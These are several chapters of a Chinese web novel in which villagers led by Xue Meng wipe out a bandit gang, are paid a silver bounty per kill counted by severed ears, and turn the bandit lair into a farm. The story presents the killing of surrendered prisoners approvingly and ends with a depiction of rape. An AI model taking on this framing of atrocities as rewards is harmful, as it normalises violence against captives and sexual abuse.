孟宽擦了把额头上的冷汗,犹自惊魂未定:“大哥,这帮泥腿子背后定有妖人指点!”
“真是太邪门了!”
“不知道用了什么邪术,让我们的弟兄自相残杀,又引来天上的雷火,劈死了我们好多弟兄!”
“咱们今晚,还能活着回去吗?!”
马青锋没好气道:“闭上你的臭嘴!盼点好吧!”
他何尝不是吓破了胆。
驰聘江湖这么多年,大大小小的村庄没少去,他从来没见过这么邪门的地方。
先前的长枪队、大刀队,虽然厉害,但至少用的都还是冷兵器。
但刚才村北发生的这一切,已经超乎他的理解范畴。
这些泥腿子,难不成真会法术?
能够迷人心智,驱雷掣电?!
“大哥,三弟!”
见马青锋和孟宽从村北跑了过来,向准带着手下所剩无几的短弓手,连忙迎了上去。
“老二!”
“二哥!”
三兄弟再次见面,激动万分。
但面对向准,马青锋却又满脸惭愧。
孟宽也是没了半点脾气。
当初他们若是听向准的劝告,早些撤出村子,又何至于落得如今这步田地?!
“二弟,都怪为兄太过鲁莽,害这么多弟兄白白把命丢在这儿!”马青锋悔不当初。
孟宽道:“二哥,平时就数你最有法子,你快想想办法,带咱们冲出去吧!”
向准摇头一叹:“大哥,三弟,咱们老鸦坎经此一役,只怕大势已去!”
“我方才已经勘察过这村西地形,此地紧靠着沧浪河,河面宽阔,水流湍急,只有一座石桥可以过河!”
孟宽急道:“那还等什么,咱们这就过桥啊!”
向准满脸苦涩,无奈摇头:“这座桥,看似是我们最后的生路,实则却是最为凶险的死路。”
“村南、村东、村北都有伏兵,这村西又岂会放任我们离开?只怕桥边不知道暗藏了多少伏兵,等我们一上桥,便是我们殒命之时!”
“没想到这小小卧虎村,竟然有这等布局高手,布下这样的杀局!”
“我们走的每一步,都被他算无遗策!”
向准垂下头,脸色灰败,不得不对这背后布局之人甘拜下风!
孟宽两眼一瞪,嘴唇颤抖:“二哥,照你这么说,咱们今天是死定了?”
马青锋皱眉道:“二弟,你就再想想法子吧!”
向准思忖片刻,叹了口气,沉声道:“为今之计,只能跟他们打明牌了!”
“大哥,三弟,你们待在这儿不要轻举妄动!”
“待会儿见机行事!”
说完,向准骑上驽马,独自拍马上前,缓缓来到了桥边。
目光扫视四周,对着空气开口道:“高人!我知道你在这儿!”
“高人运筹帷幄,一步一杀,将我等弟兄逼得山穷水尽,此等手段,令晚辈甘拜下风,五体投地!”
“今日我等弟兄有眼不识泰山,惊扰贵宝地,不求高人原谅!只求临死之前,能够见上高人一面!也好让晚辈死个明白!”
咻咻咻!
向准话落,回应他的便是三支铁箭。
向准连忙就地一滚,堪堪避过。
而他胯下那匹驽马,则被铁箭射中,哀鸣一声,轰然倒地!
“老二!”
马青锋见状,高举青锋砍刀,拍马冲出,一把将向准从地上拽上马背。
马青锋对身后草寇大喊道:“弟兄们,横竖是个死!跟他们拼了!”
“过了河,咱们就能活下去!”
此时的老鸦坎土匪,已经如同笼中困兽,被逼上了绝路。
就算再怎么害怕,到了这个关头,也都被激起了一腔血勇,豁出去了!
“杀啊!冲出去!”
孟宽挥舞一对铜锤,一马当先,带着手下率先朝着石桥发起冲锋。
“弓弩队,放箭!!!”
石桥尽头,十名脸上抹着油彩,穿着简易“吉利服”的弓弩手,早已等候多时。
纷纷起身,手持连弩,瞄准了妄想过桥的土匪。
咻咻咻!
石桥每次只能容许最多五人并肩通过。
冲在最前面的五名土匪,简直就是送上门的活靶子,顷刻间中箭倒地。
“老三,用尸体挡着冲过去!”
向准大喊道。
孟宽闻言,连忙抓起手下的尸体挡在身前,一夹马肚子,飞马冲过了桥头!
十名镇守桥头的弓弩手,见势不妙,不得不向两边散开。
“大哥,二哥,我冲过来了,你们快跟上!”
孟宽怒目圆瞪,挥舞铜锤,就要捶杀一名来不及躲开的弓弩手。
“嗡……!”
就在这时,一道惊弦之声骤然颤响。
百米之内,清晰可闻。
咻!
紧接着,一道寒芒如电掠过。
直接射穿了孟宽的手背。
砰的一声闷响,单柄十五斤的铜锤脱手落地,分量感十足。
“啊啊啊……!”
孟宽跌落马下,翻滚在地,一条胳膊被狼牙箭硬生生绞断,血流了一地。
他咬着牙,抬头怒目圆瞪,惊怒交加,望向那射箭之人。
只见一道身着玄衣,手拿长弓的挺拔身影,出现在不远处的高坡上。
“薛爷,您可算来啦!”
侥幸捡回一条命的弓弩手,惊喜喊道:“这些土匪不讲武德,居然用尸体当挡箭牌!”
“不必惊慌!列阵守住桥头,别放走任何一个草寇!”
说完,薛猛居高临下,睥睨着堵在桥头,进退两难的草寇。
这些往日人见人怕的草寇,在他看来,不过是些冢中枯骨,蹦跶不了多久了。
“尔等草寇听着!”
“卧虎村薛猛在此!”
“尔等胆敢犯我村寨,今日便让你们见识见识,我卧虎村人马何其雄壮!”
“卧虎村三雄何在?”
随着薛猛一声冷冽劲喝。
四面八方皆有好汉应声!
“虎头刀郑灵均在!”
“追风刀罗飞在!”
“裴家姑奶奶来啦!贼寇纳命来!”
一时间,村东、村北、村南三个方向,火把如繁星点亮!
喊杀声震天动地。
郑灵均、罗飞、裴红玉三名队长,领着各自的队伍,从三个方向围攻而来!
前有薛猛率领弓弩手列阵拦路,后有三路追兵合围而至。
被包了饺子的草寇们,吓得肝胆俱裂,方寸大乱,宛若热锅上的蚂蚁。
此时此刻,他们仿佛已经忘记了自己是杀人如麻的土匪,而更像是待宰的羔羊!
而那些往日温驯的村民,此时却已蜕变为凶狠的虎狼,可以将他们轻易撕碎!
恍然之间,攻守易形了!
第63章 三雄各显神威
“弟兄们,不要乱,不要怕!”
“全都给我抄家伙,跟这帮泥腿子拼了!!”
身为土匪,居然被一帮村民包了饺子!
说出去惹来万人笑!
马青锋恼羞成怒,反倒不再畏怯,大喝一声,高举手中青锋砍刀。
带着仅剩的几名刀手,拍马朝着同样使刀的大刀队迎了上去!
“拼啦!!”
只剩下一条胳膊的孟宽,也强撑起身子,抡起一柄铜锤,带着几名棍匪,朝着同样使长兵器的长枪队扑去。
“短弓营!掩护大当家、三当家!”
向准失了驽马,无法冲锋,聚集起所剩无几的短弓手,将箭头纷纷瞄准了罗飞的投掷队!
而向准本人,则是抽出鹰羽箭,瞄准了领头的罗飞。
薛猛居高临下,将战局尽收眼底。
“杀一个草寇,赏一两白银!”
薛猛此言一出。
巡猎队众人全都沸腾了!
“杀啊!!”
锵!!
一声爆鸣响起。
郑灵均和马青锋短兵相接。
马青锋骑马冲锋,占尽优势。
手中青锋砍刀直劈而下,势不可挡!
“铁刀王”的称号,并非虚名!
若是换作寻常刀手,胆敢硬接他这一刀,定然刀断人亡!
然而郑灵均双刀往上一架,轻松格住了马青锋的刀锷。
双刀奋力一绞,直接将马青锋视为最后依仗的青锋砍刀绞得粉碎!
“啊?!”
马青锋双目圆瞪,满脸惊愕,难以置信看着手中崩碎的铁刀。
就在他发楞的刹那,郑灵均已经飞身一跃,手中双刀犹如两条雪蟒争餐,径直朝他面门劈下。
马青锋瞳孔一缩,下意识举刀格挡,但手中刀早已分崩离析,挡了个寂寞。
噗叽!
血浆飞溅!
“啊!”
马青锋的两条胳膊被齐肩削断,滚落在地!
而郑灵均已经趁势跃上马背,刀光一闪,直接从后面抹了马青锋脖子。
砰的一声,一脚将马青锋的无头尸体踹下马去。
凶名赫赫的老鸦坎匪首,“铁刀王”马青锋,就此殒命当场!
“大哥!!”
见自己大哥惨死当场,“铜锤将”孟宽怒目圆瞪,眼中几乎滴出血来,折身就要朝郑灵均冲去。
就在这时,一杆红缨枪挡住了他的去路。
那枪长达一丈一,枪尖形如芦叶寒芒闪耀,通体由钢铁打造。
枪上红缨已被鲜血浸透,显得愈发鲜红刺眼!
持枪之人,一袭红衣,虎背狼腰,头上红绳随风飘扬,一张芙蓉俏脸冷若寒冰。
“臭娘们儿!敢挡我铜锤将的路,我看你是活腻了!我这十五斤的铜锤,你接得住吗?!”
孟宽虽然只剩下一条手臂,依然凶恶不减。
见持枪挡住他去路的,竟然是裴红玉这个女人,当即抡起手中铜锤,朝着对方头顶砸去!
“区区十五斤,给姑奶奶提鞋都不配!”
裴红玉不屑冷嗤一声,不招不架,不刺不扎。
咔!
猿臂一抖,手中重达六十八斤的素缨蘸金枪,直接朝着孟宽的铜锤抡砸而去!
咣!!
铜锤和钢枪悍然对撞,发出令人闻之头皮发麻的震响!
“噗啊!”
孟宽神色大变,一口老血喷出。
顿觉一股沛然莫之能御的巨力从铜锤上轰然传来,直接将他连人带锤被震飞了出去!
虎口崩裂,铜锤脱手!
孟宽重重摔落马下,只觉五脏六腑都被那股怪力震碎,嘴里涌出一大滩淤血,趴在地上没了动静。
裴红玉翻身上马,一枪扎穿孟宽身上皮甲,将他高高挑起,朝着一群草寇头顶抛去!
“三当家!!”
看见孟宽的尸体,先前还在负隅顽抗的草寇,顿时慌乱至极。
土匪两名头领接连被自家队长斩于马下,卧虎村长枪队和大刀队士气高扬,疯狂绞杀着剩下的草寇!
“大哥,三弟?!短弓手,放箭!给我射死他们!”
见自己两个兄弟接连惨死当场,向准不由得失了神,欲要指挥手下短弓手,朝长枪队和大刀队放箭。
然而就在他这句话刚出口的瞬间,一声震耳欲聋的爆炸声响起,身后的短弓手翻滚在地,浑身着火,在痛苦哀嚎中死去!
砰砰砰!
向准一惊,猛然抬头一看,只见头顶不知何时出现了十几个竹筒。
竹筒在落至他们头顶的瞬间,轰然炸裂,里面飞出的火焰,只要沾上就甩不掉!
紧接着一支支锋锐箭簇,从天际如雨抛射而下!
顷刻间便收割了十几名手下性命。
“完了!”
“全完了!”
向准见势不对,撒腿想要往河里跑,却被罗飞甩出的一柄飞刀,扎中后心窝。
被飞刀击中,向准身形一滞,随即扑倒在尘埃中,身下溢出一滩鲜血。
“不……不……”
听着身边手下的凄惨哀嚎声越来越弱,向准瞳孔涣散,逐渐失去了聚焦能力,睁着眼睛,咽下最后一口气。
卧虎村三雄,各显神威!
老鸦坎三名匪首,全部阵亡!
卧虎村巡猎队众人极其亢奋,越战越勇,反观那些草寇,早已溃不成军,被巡猎队团团包围!
“弟兄们,当家的全都死了!咱们别打了,投降吧!”
不知是谁最先喊了这么一嗓子,剩下的草寇,全都丢下武器,跪地投降,放弃了挣扎。
“把他们全都绑了!”
薛猛一声令下。
大刀队、长枪队、投掷队、弓弩队四十名队员,全都一拥而上,将草寇摁翻在地,五花大绑。
在众人注目之下,薛猛走下高坡,来到人群中央,高声喝道:“今天这一仗,大家打得漂亮!”
“明日辰时,论功行赏!”
“耳朵都割了吧?”
“割了!”
众人纷纷从兜里掏出一把沾染血迹的耳朵,齐声回道。
这是开战前一天,薛猛召开誓师大会时,就提前讲好的。
杀一个土匪,赏一两银子!
割下土匪耳朵,作为计数凭证!
所有今天大家士气才会这么高,都恨不得多杀几个土匪!
村民们怕土匪,但更怕穷!
这些土匪,和山里的野猪马鹿一样,在他们眼中就是行走的银子!
只要弄死他们,就能换钱呐!
“薛爷,土匪太少了,俺们还没杀够呢!”
一名弓弩队队员,抹了把身上的血,抱怨道。
“是啊,长枪队、大刀队、投掷队把大部分土匪都杀完了!”
“轮到俺们这,就不剩下几个了!”
“这得少赚多少银子啊!”
弓弩队队员怨气很大,将目光投降了那些被五花大绑的俘虏。
“要不,把这几个给咱们分了吧!”
弓弩队守的是最后一关,确实比较吃亏。
薛猛无奈叹道:“行吧,就当奖励你们了!”
弓弩队众人闻言兴奋坏了,二话不说,就朝俘虏扑了上去。
看着这些如狼似虎的家伙朝自己扑来,投降的土匪彻底绝望了。
血浆飞迸!
画面残暴!
躲藏在草丛后面的山猫子,看见这一幕,魂儿都快吓飞了。
老鸦坎居然真的败了!
大当家、二当家、三当家全被杀了!
这薛大掌柜,真是太神了!
居然指挥四十个村民,把一百五十个土匪打得只剩下十七个!
现在连俘虏都一个不留!
这要是传出去,都没人敢信。
山猫子暗自庆幸,得亏自己弃暗投明了,不然可就遭老罪了!
“哥,你看见了吗?恩公刚才站在高坡上指挥大家围剿土匪的时候,好威风呀,真像一个大将军!”
寇芳望着薛猛的背影,眼中大放异彩。
寇达点了点头,随即又摇头:“不,我觉得他不像大将军!裴姑娘、罗兄弟、郑大哥才更像大将军!”
“而恩公,是管着大将军的人!”
“他比大将军,还要厉害呢!”
“比大将军还厉害?那岂不是……”
寇芳闻言一怔,不敢再细想下去。
先前薛猛抓住了他们兄妹俩盗窃,不仅没有将他们送官,反而收留了他们,对他们恩同再造。
他们打心底里感激薛猛。
而现在,亲眼目睹薛猛带领一群村民大败老鸦坎土匪,兄妹二人对薛猛的感情,已经不止是感激那么简单,更多的是敬畏、崇拜!
想要死心塌地,追随薛猛!
就在这时,薛猛的声音从前方响起:“寇达、寇芳!通知张水,让他带捕鱼队来洗地收尸,这么多尸体,要是引发瘟疫就麻烦大了!”
“是!”
兄妹俩齐声应道。
“行啦,今天这一仗,大家都辛苦了!先回去歇息!明日辰时,到指挥中心开会,咱们论功行赏!”
薛猛话落,众人陆续散去。
当天晚上,捕鱼队彻夜未眠。
将卧虎村里的土匪尸体全部收集在一起,扒下尸体身上的武器、皮甲,随后用一把大火,将这些尸体全部付之一炬!
熊熊大火烧了整整大半宿,都没有熄灭。
第64章 以后薛猛就是土皇帝
翌日,辰时。
薛猛后院。
巡猎队指挥中心准时召开了第一次战后总结会议。
不大的地盘,全部挤满了人。
薛猛身后站着寇达、寇芳兄妹,罗飞、裴红玉、郑灵均三个队长,则围坐在沙盘前。
身后分别站着各自的副队长。
投掷队副队长韩龙,大刀队副队长王五,长枪队副队长周楠。
薛猛指着沙盘,给众人复盘起昨天的战斗。
“昨天这场战斗,四十人对一百五十人,大获全胜!我方几乎无一伤亡!只有大刀队的队员受了些轻伤!”
“大家配合默契,作战英勇,值得表扬!!”
“大家给自己鼓鼓掌!”
说完,薛猛带头鼓起掌来。
掌声热烈,持续足足半分钟,队员们全都喜滋滋的。
心里别提多美了!
紧接着,薛猛又道:“但大家也不能骄傲自满!”
“说到底,老鸦坎这伙土匪,纪律松散,是临时凑起来的一帮乌合之众!”
“他们之中,真正有战斗力的土匪,只有马青锋手下的那五十名刀手!”
“至于孟宽手下的那五十名棍匪,说白了就是临时召集来助拳的棒子手!”
“这些人,并没有什么战斗力,平时只敢拦路劫道,吓唬吓唬过往行商!”
“至于那向准手下的五十名短弓手,本事太差,武器也差,虚有其表,实则对我们并不能构成威胁!”
“再加上他们大意轻敌,贸然进村,才被我们打了个措手不及!”
薛猛说完,环顾众人:“你们对这次战斗有什么看法,也都可以畅所欲言!”
既然是战后总结,自然要每个参战的人都说说自己的心德和经验。
郑灵均接口道:“我觉得,我们这次能够战胜老鸦坎土匪,主要还是占了武器的优势!”
“大刀队的劈山大刀,对上马青锋手下的铁刀,完全就是直接碾压,削铁如泥!”
“他们相当于赤手空拳在跟我们打,当看到我们的刀如此锋利,直接就吓破了胆,哪里还敢跟我们正面交锋?”
罗飞点头道:“没错,我们投掷队,也是靠着薛大哥的迷魂阵和燃烧弹,才把那些土匪杀得晕头转向!”
“你们是没看到,那些土匪自相残杀的蠢样!”
说到这里,投掷队众人全都哈哈大笑起来。
寇芳也是会心一笑。
她总算明白,薛猛先前让她去一线天采集醉仙桃是干什么用了。
昨晚她亲眼看见,罗飞在上风口投放醉仙桃花粉,让那些土匪不知不觉就中了毒,从而产生了幻觉,神魂颠倒,自相残杀。
“薛猛,这次我算是彻底服你了!”
裴红玉对手里钢铁打造的素缨蘸金枪爱不释手:“这钢枪是真好使,怎么抡都不怕坏!要是没有这杆枪,我昨晚对上那铜锤将手里的铜锤,说不定要吃亏呢!”
三天前,薛猛说给她量身打造一件兵器,本以为薛猛是糊弄她!
没想到,薛猛说到做到,真的给她打造了这杆钢枪!
以往裴红玉使用的红缨枪,根本无法发挥出她的全部力量。
因为力量用得太大,很容易把枪杆折断。
而使用这通体钢铁打造,重达六十八斤的钢枪,就完全没有那种烦恼!
三名队长发言后,各小队的副队长以及队员,也都上前发表了讲话。
有的大刀队队员提到自己第一次砍杀土匪,兴奋得浑身发抖。
有的长枪队队员说刚开始看见一帮土匪冲上来,挺害怕的,甚至想要逃跑。
但是一听到裴红玉的指令,马上就下意识出枪了。
经过血与火的洗礼,所有人都蜕变了。
薛猛扫视一圈,发现这里的每个人,眼中都有了杀气。
他们再也不是往日唯唯诺诺的卧虎村村民,而是逐渐向真正的战士蜕变!
哪怕他们现在的作战水平,在真正的正规军面前还不够看。
但比起一般的乡勇,已是远超平均水平。
若是假以时日,身着甲胄,战斗力定然还会大涨。
薛猛心里暗爽,有了这支队伍,以后就不怕山贼响马惦记自己了!
自己终于可以安安心心做个富家翁,过上三妻四妾没羞没臊的小日子了!
“借过借过!”
张水带着捕鱼队的人,抬着一箱沉甸甸的东西,走了进来。
挡在门口的众人,纷纷让开在两边。
咚。
箱子落地,发出分量感十足的闷响。
所有人望眼欲穿,纷纷猜测箱子里装的是什么东西。
有说是酒的,有说是肉的。
“大家都别猜了,我来告诉你们,这里面是什么!”
薛猛咧嘴一笑,上前一脚踹翻箱子。
哗啦啦!
白花花的银子直接从箱子里滚了出来。
所有人都看直了眼。
在场有一个算一个,从来没见过这么多银子!
张水抹了把头上的汗水,叉腰道:“整整二百两,前几天薛爷就让我们去钱庄取回来了,就等着今天给大家发赏银呢!”
薛猛拍了拍张水的肩膀,轻笑道:“张水兄弟,辛苦了。你们捕鱼队昨晚收了一晚上尸,今天也重重有赏!”
“不辛苦!”
张水嘿嘿一笑,自觉地站到一旁。
收尸这活儿,确实又脏又累,但也有好处,那些土匪身上时不时能摸出三瓜两枣的,这些钱自然是归捕鱼队所有。
寇芳上前一步,将一张白布递到薛猛手边。
上面写着各小队的歼敌数目。
薛猛拿着白布,看了看,转头对看傻眼的众人说道:“我昨晚说了,今天要论功行赏,自然要兑现承诺!”
“杀一个土匪,赏一两白银!”
“杀一个匪首,赏十两白银!”
千言万语,都比不上真金白银更加直击人心!
闻言,所有人呼吸都急促了起来。
薛猛把白布交给寇芳。
让她念上面的名字。
寇芳点点头,清了清嗓子,开口念道:“大刀队王五歼敌三人,赏银三两!”
“长枪队周楠歼敌三人,赏银三两!”
“弓弩队杨虎歼敌三人,赏银三两!”
“投掷队韩龙歼敌四人,赏银四两!”
“大刀队周康,歼敌二人,赏银二两……”
被念到名字的人,一个接一个上前领取赏银。
看着手里白花花的银子,好像做梦一样。
千万别小看这几两银子。
在如今这种灾荒年,就这么几两银子,在菜人市就可以买一条人命!
甚至,那些土匪为了五百文赏钱,都能豁出命去!
领了赏银的队员,全都在薛猛面前跪下,重重磕了个响头。
从今往后,薛猛就是他们心中的土皇帝!
说一是一,说二是二!
薛猛就是让他们上刀山下火海,他们也不会犹豫!
大家都很清楚,若没有薛猛发明的武器和精妙的计策布局,就凭他们这些人,根本不可能歼灭这些土匪!
说不定,昨晚卧虎村就被那些土匪给夷为平地了!
薛猛不仅给了他们保卫村子的底气,如今还要嘉奖他们!
身处乱世,人命贱如草芥,是薛猛给了他们尊严!
好多人嘴上不说,心里却在想,薛猛这样的人,就应该当皇帝!
要是薛猛带着他们干一番大事业就好了!
至于是什么大事业,懂的都懂。
寇芳继续念道:“投掷队罗飞,歼敌六人,赏银六两!击杀老鸦坎二当家穿云箭向准,赏银十两!共计十六两!”
“大刀队郑灵均,歼敌七人,赏银七两!击杀老鸦坎大当家铁刀王马青锋,赏银十两!共计十七两!”
“长枪队裴红玉,歼敌九人,赏银九两,击杀老鸦坎三当家铜锤将孟宽,赏银十两!共计十九两!”
呼!
随着寇芳念出最后三个名字。
所有人都忍不住惊呼出声。
“不愧是队长!”
“太厉害了!”
“尤其是裴队长,一个人杀了九个土匪?!”
听着众人的赞叹恭维,裴红玉脸上不动声色,心里却是乐开了花。
哼,也不看看姑奶奶是谁!
要没有姑奶奶,这村子早晚得黄!
薛猛亲自把十九两银子交到了裴红玉手里:“红玉妹子,这次你拿了MVP,我允许你骄傲一下,待会儿私下来找我,我还有另外的好东西给你!”
“什么俺马闻屁?”
裴红玉听得一脸懵。
薛猛呵呵一笑:“MVP就是杀敌最多,表现最佳的意思!”
“哦!原来如此!那以后我每次都要拿MVP!”
裴红玉罕见地笑了。
薛猛不由得一怔,裴红玉笑起来,脸上居然有两个小酒窝。
还蛮娇俏的。
第65章 从打猎转型畜牧养殖
“你看着我干嘛?我脸上有东西?”
注意到薛猛的目光,裴红玉摸了摸自己的脸。
薛猛笑道:“没有哇,只是觉得你笑起来还挺好看的!”
裴红玉一怔,随即红了脸。
若是换做别的男人,敢当着这么多人的面,这么撩拨她!
她一定会让对方明白,什么叫做母老虎的屁股摸不得!
但,薛猛说这话,裴红玉却是一点脾气也没有。
心里反而别有一番滋味。
就连她自己也弄不清楚那到底是什么感觉,反正就是心跳加速,耳根子发烫。
这种感觉,她以前从来没有经历过。
裴红玉抱起胳膊冷哼道:“少觊觎姑奶奶的美貌!你都已经有两个老婆了,还三心二意的,真是个花心大萝卜!”
说完,裴红玉头上红绳甩着,转身大步离去。
走到门口,裴红玉身形一顿,头也不回道:“对了,晚上记得来给我上药,我屁股又有点疼了!”
留下这句话,甩着大腚,朝门外走去。
看着裴红玉肉实的背影,罗飞替薛猛捏了把冷汗:“薛大哥,这母老虎的屁股可摸不得啊,当心折寿啊!”
“瞎说什么呢,我只是给她治病罢了,不是你们想象中那样!”
见大家都误会了,薛猛解释道。
治病?
治什么病需要晚上摸屁股?
大家显然都不相信。
看来传闻是真的,薛猛和裴红玉之间,肯定有点事儿。
“行啦,都别杵这儿了,今天的会就开到这里,大家散了吧!”
“大家务必要勤加训练,老鸦坎虽然灭了,但黑风岭还在呢!”
“我们还不能松懈!”
“是!”
巡猎队和捕鱼队队员齐声应道,随后各自离去。
一直缩在墙角不敢吭声的山猫子,见大家都走了,这才敢起身对薛猛问道:“薛大掌柜的,会也开完了,你可以给我解毒了吧?”
薛猛一拍脑袋:“害,你不说,我都忘了这茬!”
“没事儿,我给你喝的酒,其实压根儿没毒!”
“啊?”
山猫子眼一瞪,人都傻了。
担惊受怕了整整三天,结果薛猛来一句酒里没毒!
薛猛掏出五两银子,塞到山猫子手里:“山猫子,这次剿灭老鸦坎土匪,你也算是立了功,这五两银子你拿着,回家好好过日子去吧!”
山猫子捧着手里沉甸甸的银子,半点说不出话来。
“薛大掌柜的,俺没家可回了!”
“俺之前不是跟你说过吗?我欠了李庄的债,李庄把我婆娘、妹子,全都抓走卖进了窑子,我早就是个无家可归之人了!”
说到这里,山猫子低下头,眼角垂下一滴泪。
若不是走投无路,他又怎会落草为寇呢?
薛猛见状,叹了口气:“那你今后有什么打算?”
山猫子抬起头,看了看薛猛身后站着的寇达、寇芳,若有所悟:“薛大掌柜的,让我跟着你吧!”
“我山猫子别的不会,就是跑跳得快,让我跟着你,我愿为你效犬马之劳!”
寇达、寇芳兄妹连忙替山猫子求情道:“恩公,山猫子的脚力不在我们之下!你就收下他吧!”
山猫子一跃半丈高的惊人本事,至今让薛猛记忆犹新。
在这个通讯设施极其落后的时代,身边有几个腿脚快,为人机灵的手下,关键时刻说不定会派上大用场。
薛猛沉吟片刻,点了点头:“行吧!正好我有一桩差事,需要一个脑子机灵,了解土匪的人去办!”
“薛大掌柜的,什么差事儿,你只管开口!我一定尽力去办!”
见薛猛愿意收留自己,山猫子眼里顿时有了光。
薛猛挑眉道:“我要你整顿老鸦坎!”
“整顿老鸦坎?”
山猫子一怔,显然没听懂薛猛是什么意思。
薛猛扭头看向沙盘,负手道:“老鸦坎的土匪虽然被剿灭了,但棒子手是杀不绝的。”
“如今这年月,总有饿疯了的难民和村民,会铤而走险变成棒子手。”
“以前有老鸦坎这个堂口镇着,那些棒子手还有所忌惮,现在老鸦坎被灭,棒子手会更加混乱无序,所以,老鸦坎这个堂口,还得留着!”
“但是,老鸦坎肯定不能再干打家劫舍的事情!”
“所以,我要你把白虎乡附近隐藏的棒子手,全部招降!带着他们一起把老鸦坎改造成一个畜牧基地,今后巡猎队在山里捕获的野物,吃不完,就交给你们负责驯养!畜牧基地每人每月工钱一两!”
光靠打猎,山里的猎物迟早会被吓跑。
要想走可持续化发展路线,就必须转型畜牧养殖。
卧虎村地盘有限,也不适合驯养野物。
而老鸦坎土匪窝,位于卧虎山北麓,那里有大片的草地可以用于畜牧。
若是成功驯养马鹿,那以后可就有割不完的鹿茸了!
听了薛猛这话,山猫子恍然大悟:“明白了!薛大掌柜的,你这个办法太妙了,以前我们怎么就没想到呢!!”
“还得是你这样的读书人,脑瓜子灵光!”
“放心吧,我肯定会完成这个任务的!”
薛猛这个办法,可以说是从根源上解决了土匪滋生的问题。
山猫子神采奕奕,立马转身出门。
每月一两工钱,绝对能让那些挣扎在生死线上,即将从难民变成土匪的人悬崖勒马!
薛大掌柜的,真是个大善人呐!
“恩公,你真是菩萨心肠。”
寇达、寇芳眼里满是敬佩之色。
薛猛不置可否地一笑。
菩萨心肠?
那倒不至于,他只不过是想多一条可以持续搞钱的路子罢了!
过不了几个月,沧浪河汛期一过,捕鱼队就要休渔了。
而畜牧基地,则不受季节影响。
一年四季都可以养殖各种动物!
如此一来,就有了稳定肉食来源。
……
砰砰砰!
“大海快开门,咱们要发财了!”
山猫子离开卧虎村后,来到临水村一处寒酸土屋,敲开了一扇破败房门。
房门吱嘎一声打开,里面露出一张胡子拉碴,眼窝深陷的脸:“小乙,你怎么又来了?”
“我之前不是说了,我家里老娘有病需要照顾,不能跟你们去打卧虎村!”
“你快走吧!”
那人说着就要关门。
山猫子道:“大海,我这次来不是让你去打卧虎村的!”
“我实话告诉你吧,我早就弃暗投明,跟了卧虎村薛家大掌柜了!”
“啊?你……你敢反水,你不怕马青锋知道了,把你扒了皮?”
大海满脸惊恐,显然十分忌惮马青锋。
他虽是棒子手,但家里有个病娘需要照顾,真让他杀人放火,他是不会干的。
所以昨晚没去攻打卧虎村!
山猫子笑道:“大海,马青锋早他娘见阎王爷去了,你怕他个鸟蛋啊!”
“老鸦坎所有土匪,都被薛大掌柜一锅端了!”
大海闻言大惊,随即皱眉道:“你少糊弄我!我看你是失心疯了,那卧虎村还没咱们临水村大呢,拿什么跟老鸦坎的土匪斗?”
山猫子满脸认真:“咱俩是一个村的,从小一起长大,我不骗你!”
“薛大掌柜真把马青锋他们灭了,现在他让我召集人马,重整老鸦坎,要办一个畜牧基地,我第一个来找的就是你!”
“啥玩意儿是畜牧基地?”大海听得一愣一愣的。
山猫子道:“我也不太懂,薛大掌柜说的是,把山里的野物,驯养起来!像养牲口一样!”
“反正咱们先把场地弄好,到时候薛大掌柜会派人来教我们怎么养的!”
大海半信半疑:“我还是不敢信,马青锋那么厉害,连官府都剿灭不了,怎么可能被卧虎村的村民灭了?”
“你不信我,那我走了!别怪兄弟日后发了财,没提携你!薛大掌柜可是说了,凡是给畜牧基地干活的,每个月给一两银子!”
说完,山猫子转头就走!
大海眼前一亮,连忙追出来,拽住了山猫子的衣袖:“小乙!俺跟你走!俺这就跟你走还不行吗?”
一个月一两银子!
这可比当棒子手划算多了。
有了这一两银子,就有钱给娘买药了!
山猫子嘿嘿一笑:“想通了?你不跟大娘说一声?咱们这趟上山,可有得忙活,一时半会儿回不来!”
屋里,传来一个老妇人欣慰的声音:“大海呀,去吧!娘都听见了,小乙跟了好人,学好了!你也跟他去吧,娘自己会照顾自己!”
“你以后,要好好做人!别再……干那些污七糟八的事情了!”
“娘!俺知道了!娘你多保重,等儿子回来孝敬你!”
大海抹了把眼泪,跪在地上,对着屋里磕了个头,随后跟着山猫子离去。
走到半道,注意到大海还是有些担心家里,山猫子掏出一两银子递给大海:“你先去买药给大娘看病,我还得去其他几个村子,再多找些伙计!”
“小乙,你现在是真发财了?”
大海接过白花花的银子,眼都看直了,彻底打消了心中顾虑。
山猫子拍拍大海的肩膀,咧嘴笑道:“这算啥!薛掌柜赏了我不少银子!以后咱们跟着薛掌柜,前途大大滴有哇!”
“嗯!”
大海重重点头:“虽然我没见过这薛猛……呃,这薛掌柜,但我听说过他射杀过棕熊,想来是条好汉!”
“不光是好汉,还是个活菩萨!”
山猫子想了想,又道:“不对,有时候他像活阎罗,要人的命跟割草一样容易!”
“有时候,他又待人宽厚,心肠跟菩萨一样!”
“世间真有这等奇人?”
大海闻言,愈发对这个薛掌柜的起了兴趣:“小乙,以后有机会,你一定要带我亲眼见见这位大人物!”
第66章 山猫子重整老鸦坎
“啥?马青锋死了?老鸦坎被卧虎村的薛猛打败了?真的假的?”
“你要重整老鸦坎?跟你上山,不用杀人,每月还能有一两银子?天下竟有这种好事?”
“去啊,我去!”
“我也去!!”
整整一天,山猫子马不停蹄奔走于白虎乡五个村子之间,敲开了十几户人家的大门。
每个人听了山猫子的话,表情反应几乎都和大海如出一辙!
先是不信薛猛真能灭了马青锋那伙土匪,再到后来听说上山每月能赚一两银子,抢着要跟山猫子上山!
当山猫子带着十七八个棒子手,浩浩荡荡回到老鸦坎山寨,两名留守寨门的土匪立即迎了出来,扯着嗓子喊道。
“大王回山了!”
山猫子冷冷一笑:“大王回不来了。”
说着,手一挥,身后十几个人立即扑上去,将两名土匪摁住,用布蒙住了嘴。
马青锋儿子马文宝,正挺着个大肚子在屋里对一个女人施暴。
女人衣裙半褪,躺在土炕上,满脸麻木,像死鱼一样,不管马文宝怎么折腾,都一声不吭。
“你踏马的,甩脸子给谁看!”
马文宝气急败坏,扬起巴掌就要抽女人,忽然听见外面喊大王回山了,顿时面色一喜。
嘿嘿!
俺爹回来了!
肯定又给俺带好玩儿的回来了!
“臭娘们儿,等我有了新欢,我就把你剁了喂狗!”
马文宝恶狠狠地朝女人身上啐了一口浓痰,提起裤子,屁颠屁颠朝门外跑去。
女人闭上双眼,心中并无恐惧,反而感到解脱,只盼着死亡赶快降临。
她是刘庄老太公的女儿,自从刘庄被夷为平地,她因为姿色出众,被这帮土匪掳上了山。
之后就成了土匪的公用茅坑,谁都能上一上。
土匪们管这叫做“赶赶蛋儿”!
